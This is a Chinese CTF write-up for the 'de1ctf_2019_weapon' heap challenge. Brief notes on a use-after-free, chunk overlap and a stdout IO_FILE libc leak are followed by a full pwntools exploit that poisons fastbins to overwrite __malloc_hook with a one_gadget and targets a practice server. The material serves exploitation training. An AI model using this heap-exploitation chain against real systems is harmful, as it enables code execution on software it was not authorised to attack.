思路
这题其实挺基础的,有UAF,没有show,考虑IO_FILE泄露libc
因为有UAF,所以可以用overlap来伪造一个chunk实现踩unsortbin
有几个点
1.add最大只能申请0x60,所以最后踩unsortbin的时候要考虑到踩到以后去申请不了的问题,同时构造一个fastbin的同fd链表,在chunk大小上要注意
2.overlap要考虑到fastbin检测吧,stdout劫持也是。因为是ubuntu16
EXP
from pwn import *
#p = process("./de1ctf_2019_weapon")
#p = remote('node4.buuoj.cn','27248')
# context.log_level = 'debug'
elf = ELF("./de1ctf_2019_weapon")
libc = ELF('./libc-2.23.so')
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7",timeout = 1)[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
def cmd(choice):
sla('choice >> ',choice)
def add(idx,size,content):
cmd(1)
sla('wlecome input your size of weapon: ',size)
sla('input index: ',idx)
p.sendafter('input your name:',content)
def edit(idx,content):
cmd(3)
sla('input idx:',idx)
p.sendafter('new content:',content)
def delete(idx):
cmd(2)
sla('input idx :',idx)
def dbg():
gdb.attach(p)
pause()
def pwn():
add(0,0x30,'a')
add(1,0x30,'a')
add(2,0x30,'a'*0x20 + p64(0xa0)+p64(0x21))
add(3,0x10,p64(0x20)+p64(0x21))
edit(0,p64(0)+p64(0x41))
delete(2)
delete(1)
edit(1,'\x10')
add(1,0x30,'a')
add(2,0x30,'a')
edit(0,p64(0)+p64(0x71))
delete(2)
edit(0,p64(0)+p64(0xa1))
delete(2)
edit(0,p64(0)+p64(0x71))
edit(2,p8(0xdd)+p8(0x65))
add(2,0x60,'a')
add(4,0x60,'a'*51 + p64(0xfbad1800)+p64(0)*3 + p8(0x58))
libc_leak = uu64()
lg('libc_leak',libc_leak)
libc_base = libc_leak - 0x3C56A3#gdb
lg('libc_base',libc_base)
if((libc_base&0xfff)!= 0):
exit(-1)
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = gadgets[3]+libc_base
add(5,0x60,'a')
delete(5)
edit(5,p64(malloc_hook-0x23))
add(6,0x60,'a')
add(7,0x60,'a'*0x13 + p64(one_gadget))
cmd(1)
sla('wlecome input your size of weapon: ',0x10)
sla('input index: ',8)
if __name__ == '__main__':
while(True):
try:
# p = process('./de1ctf_2019_weapon')
p = remote('node4.buuoj.cn','28089')
pwn()
p.interactive()
break
except:
p.close()
continue